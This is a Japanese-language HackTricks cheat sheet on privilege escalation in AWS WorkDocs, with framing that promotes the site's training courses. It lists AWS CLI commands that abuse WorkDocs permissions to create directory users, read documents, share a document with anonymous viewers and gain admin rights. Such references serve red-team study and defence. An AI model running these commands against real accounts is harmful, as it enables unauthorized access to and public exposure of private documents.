AWS - WorkDocs Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WorkDocs

WorkDocs の詳細については以下を参照してください:

AWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

指定されたディレクトリ内にユーザーを作成すると、WorkDocs と AD の両方にアクセスできるようになります:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

ファイルには機密情報が含まれている可能性があるため、内容を読み取ってください:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

読み取る権限がない場合は、その権限を付与すればよい。

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

ユーザーを ZOCALO_ADMIN グループに設定することで管理者にできます.\
そのためには次の手順に従ってください: https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html

そのユーザーで workdoc にログインし、管理パネルにアクセスします: /workdocs/index.html#/admin

cli からこれを行う方法は見つかりませんでした。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする